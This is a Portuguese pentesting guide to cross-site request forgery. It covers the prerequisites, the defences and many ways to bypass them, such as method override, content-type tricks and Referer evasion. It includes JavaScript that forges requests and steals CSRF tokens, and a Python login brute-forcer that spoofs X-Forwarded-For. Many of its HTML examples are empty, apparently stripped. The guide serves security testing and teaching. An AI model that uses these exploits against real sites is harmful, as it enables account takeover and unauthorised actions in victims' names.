# CSRF (Cross Site Request Forgery)
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## Cross-Site Request Forgery (CSRF) Explicado
**Cross-Site Request Forgery (CSRF)** é um tipo de vulnerabilidade de segurança encontrada em aplicações web. Ela permite que atacantes realizem ações em nome de usuários desavisados, explorando suas sessões autenticadas. O ataque é executado quando um usuário, que está logado na plataforma de uma vítima, visita um site malicioso. Este site então aciona requisições para a conta da vítima através de métodos como executar JavaScript, enviar formulários ou buscar imagens.
### Pré-requisitos para um Ataque CSRF
Para explorar uma vulnerabilidade CSRF, várias condições devem ser atendidas:
1. **Identificar uma Ação Valiosa**: O atacante precisa encontrar uma ação que vale a pena explorar, como mudar a senha do usuário, email ou elevar privilégios.
2. **Gerenciamento de Sessão**: A sessão do usuário deve ser gerenciada exclusivamente através de cookies ou do cabeçalho de Autenticação Básica HTTP, pois outros cabeçalhos não podem ser manipulados para esse propósito.
3. **Ausência de Parâmetros Imprevisíveis**: A requisição não deve conter parâmetros imprevisíveis, pois eles podem impedir o ataque.
### Verificação Rápida
Você pode **capturar a requisição no Burp** e verificar as proteções CSRF e para testar do navegador você pode clicar em **Copy as fetch** e verificar a requisição:
### Defendendo Contra CSRF
Várias contramedidas podem ser implementadas para proteger contra ataques CSRF:
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Este atributo impede que o navegador envie cookies junto com requisições de outros sites. [Mais sobre cookies SameSite](hacking-with-cookies/index.html#samesite).
- [**Cross-origin resource sharing**](cors-bypass.md): A política CORS do site da vítima pode influenciar a viabilidade do ataque, especialmente se o ataque requerer a leitura da resposta do site da vítima. [Saiba mais sobre bypass CORS](cors-bypass.md).
- **Verificação do Usuário**: Solicitar a senha do usuário ou resolver um captcha pode confirmar a intenção do usuário.
- **Verificando Cabeçalhos Referrer ou Origin**: Validar esses cabeçalhos pode ajudar a garantir que as requisições estão vindo de fontes confiáveis. No entanto, a elaboração cuidadosa de URLs pode contornar verificações mal implementadas, como:
- Usar `http://mal.net?orig=http://example.com` (URL termina com a URL confiável)
- Usar `http://example.com.mal.net` (URL começa com a URL confiável)
- **Modificando Nomes de Parâmetros**: Alterar os nomes dos parâmetros em requisições POST ou GET pode ajudar a prevenir ataques automatizados.
- **Tokens CSRF**: Incorporar um token CSRF único em cada sessão e exigir esse token em requisições subsequentes pode mitigar significativamente o risco de CSRF. A eficácia do token pode ser aumentada pela imposição de CORS.
Compreender e implementar essas defesas é crucial para manter a segurança e integridade das aplicações web.
## Bypass de Defesas
### De POST para GET
Talvez o formulário que você deseja abusar esteja preparado para enviar uma **requisição POST com um token CSRF, mas**, você deve **verificar** se um **GET** também é **válido** e se quando você envia uma requisição GET o **token CSRF ainda está sendo validado**.
### Falta de token
As aplicações podem implementar um mecanismo para **validar tokens** quando eles estão presentes. No entanto, uma vulnerabilidade surge se a validação for completamente ignorada quando o token está ausente. Os atacantes podem explorar isso **removendo o parâmetro** que carrega o token, não apenas seu valor. Isso permite que eles contornem o processo de validação e conduzam um ataque de Cross-Site Request Forgery (CSRF) de forma eficaz.
### Token CSRF não está vinculado à sessão do usuário
Aplicações **que não vinculam tokens CSRF às sessões de usuário** apresentam um **risco de segurança** significativo. Esses sistemas verificam tokens contra um **pool global** em vez de garantir que cada token esteja vinculado à sessão iniciadora.
Veja como os atacantes exploram isso:
1. **Autenticar** usando sua própria conta.
2. **Obter um token CSRF válido** do pool global.
3. **Usar esse token** em um ataque CSRF contra uma vítima.
Essa vulnerabilidade permite que atacantes façam requisições não autorizadas em nome da vítima, explorando o **mecanismo de validação de token inadequado** da aplicação.
### Bypass de Método
Se a requisição estiver usando um "**método estranho**", verifique se a **funcionalidade de substituição de método** está funcionando. Por exemplo, se estiver **usando um método PUT**, você pode tentar **usar um método POST** e **enviar**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
Isso também pode funcionar enviando o **parâmetro \_method dentro de uma requisição POST** ou usando os **cabeçalhos**:
- _X-HTTP-Method_
- _X-HTTP-Method-Override_
- _X-Method-Override_
### Bypass de Token de Cabeçalho Personalizado
Se a requisição estiver adicionando um **cabeçalho personalizado** com um **token** à requisição como **método de proteção CSRF**, então:
- Teste a requisição sem o **Token Personalizado e também o cabeçalho.**
- Teste a requisição com o **mesmo comprimento exato, mas um token diferente**.
### Token CSRF é verificado por um cookie
As aplicações podem implementar proteção CSRF duplicando o token em um cookie e em um parâmetro de requisição ou configurando um cookie CSRF e verificando se o token enviado no backend corresponde ao cookie. A aplicação valida requisições verificando se o token no parâmetro de requisição alinha-se com o valor no cookie.
No entanto, esse método é vulnerável a ataques CSRF se o site tiver falhas que permitam a um atacante definir um cookie CSRF no navegador da vítima, como uma vulnerabilidade CRLF. O atacante pode explorar isso carregando uma imagem enganosa que define o cookie, seguida pela iniciação do ataque CSRF.
Abaixo está um exemplo de como um ataque poderia ser estruturado:
```html
```
> [!TIP]
> Note que se o **token csrf estiver relacionado com o cookie de sessão, este ataque não funcionará** porque você precisará definir a sessão da vítima, e, portanto, estará atacando a si mesmo.
### Mudança de Content-Type
De acordo com [**isso**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), para **evitar** requisições **preflight** usando o método **POST**, estes são os valores de Content-Type permitidos:
- **`application/x-www-form-urlencoded`**
- **`multipart/form-data`**
- **`text/plain`**
No entanto, note que a **lógica do servidor pode variar** dependendo do **Content-Type** utilizado, então você deve tentar os valores mencionados e outros como **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
Exemplo (de [aqui](https://brycec.me/posts/corctf_2021_challenges)) de envio de dados JSON como text/plain:
```html
```
### Bypassando Requisições Preflight para Dados JSON
Ao tentar enviar dados JSON via uma requisição POST, usar `Content-Type: application/json` em um formulário HTML não é diretamente possível. Da mesma forma, utilizar `XMLHttpRequest` para enviar esse tipo de conteúdo inicia uma requisição preflight. No entanto, existem estratégias para potencialmente contornar essa limitação e verificar se o servidor processa os dados JSON independentemente do Content-Type:
1. **Usar Tipos de Conteúdo Alternativos**: Empregue `Content-Type: text/plain` ou `Content-Type: application/x-www-form-urlencoded` definindo `enctype="text/plain"` no formulário. Essa abordagem testa se o backend utiliza os dados independentemente do Content-Type.
2. **Modificar o Tipo de Conteúdo**: Para evitar uma requisição preflight enquanto garante que o servidor reconheça o conteúdo como JSON, você pode enviar os dados com `Content-Type: text/plain; application/json`. Isso não aciona uma requisição preflight, mas pode ser processado corretamente pelo servidor se estiver configurado para aceitar `application/json`.
3. **Utilização de Arquivo SWF Flash**: Um método menos comum, mas viável, envolve usar um arquivo SWF flash para contornar tais restrições. Para uma compreensão mais profunda dessa técnica, consulte [este post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
### Bypass de verificação de Referer / Origem
**Evitar o cabeçalho Referer**
As aplicações podem validar o cabeçalho 'Referer' apenas quando ele está presente. Para evitar que um navegador envie esse cabeçalho, a seguinte tag meta HTML pode ser usada:
```xml
```
Isso garante que o cabeçalho 'Referer' seja omitido, potencialmente contornando as verificações de validação em algumas aplicações.
**Contornos de Regexp**
{{#ref}}
ssrf-server-side-request-forgery/url-format-bypass.md
{{#endref}}
Para definir o nome do domínio do servidor na URL que o Referrer vai enviar dentro dos parâmetros, você pode fazer:
```html
```
### **Bypass do método HEAD**
A primeira parte de [**este writeup de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explica que o [código-fonte do Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), um roteador, está configurado para **tratar requisições HEAD como requisições GET** sem corpo de resposta - uma solução comum que não é exclusiva do Oak. Em vez de um manipulador específico que lida com requisições HEAD, elas são simplesmente **enviadas para o manipulador GET, mas o aplicativo apenas remove o corpo da resposta**.
Portanto, se uma requisição GET estiver sendo limitada, você pode simplesmente **enviar uma requisição HEAD que será processada como uma requisição GET**.
## **Exemplos de Exploração**
### **Exfiltrando o Token CSRF**
Se um **token CSRF** estiver sendo usado como **defesa**, você pode tentar **exfiltrá-lo** abusando de uma vulnerabilidade de [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) ou uma vulnerabilidade de [**Markup Pendente**](dangling-markup-html-scriptless-injection/index.html).
### **GET usando tags HTML**
```xml
404 - Page not found
The URL you are requesting is no longer available
```
Outros tags HTML5 que podem ser usados para enviar automaticamente uma solicitação GET são:
```html
```
### Formulário de solicitação GET
```html
```
### Solicitação POST de formulário
```html
```
### Solicitação POST de formulário através de iframe
```html
```
### **Requisição POST Ajax**
```html
```
### multipart/form-data solicitação POST
```javascript
myFormData = new FormData()
var blob = new Blob([""], { type: "text/text" })
myFormData.append("newAttachment", blob, "pwned.php")
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})
```
### multipart/form-data POST request v2
```javascript
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest()
xhr.withCredentials = true
xhr.open("POST", url, true)
// MIME POST request.
xhr.setRequestHeader(
"Content-Type",
"multipart/form-data, boundary=" + boundary
)
xhr.setRequestHeader("Content-Length", fileSize)
var body = "--" + boundary + "\r\n"
body +=
'Content-Disposition: form-data; name="' +
nameVar +
'"; filename="' +
fileName +
'"\r\n'
body += "Content-Type: " + ctype + "\r\n\r\n"
body += fileData + "\r\n"
body += "--" + boundary + "--"
//xhr.send(body);
xhr.sendAsBinary(body)
```
### Enviar requisição POST de dentro de um iframe
```html
<--! expl.html -->
Sitio bajo mantenimiento. Disculpe las molestias
```
### **Roubar o Token CSRF e enviar uma solicitação POST**
```javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
xhr.open("POST", POST_URL, true)
xhr.withCredentials = true
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
// This is for debugging and can be removed
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}
xhr.send("token=" + token + "&otherparama=heyyyy")
}
function getTokenJS() {
var xhr = new XMLHttpRequest()
// This tels it to return it as a HTML document
xhr.responseType = "document"
xhr.withCredentials = true
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true)
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token")
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value)
}
}
// Make the request
xhr.send(null)
}
var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()
```
### **Roubar o Token CSRF e enviar uma requisição Post usando um iframe, um formulário e Ajax**
```html
```
### **Roubar o Token CSRF e enviar uma solicitação POST usando um iframe e um formulário**
```html
```
### **Roubar token e enviá-lo usando 2 iframes**
```html
```
### **POSTRoubar o token CSRF com Ajax e enviar um post com um formulário**
```html
```
### CSRF com Socket.IO
```html
```
## CSRF Login Brute Force
O código pode ser usado para forçar um formulário de login usando um token CSRF (também está usando o cabeçalho X-Forwarded-For para tentar contornar um possível bloqueio de IP):
```python
import request
import re
import random
URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"
def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie
def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True
with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())
```
## Ferramentas
- [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
- [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
## Referências
- [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf)
- [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation)
- [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
- [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
{{#include ../banners/hacktricks-training.md}}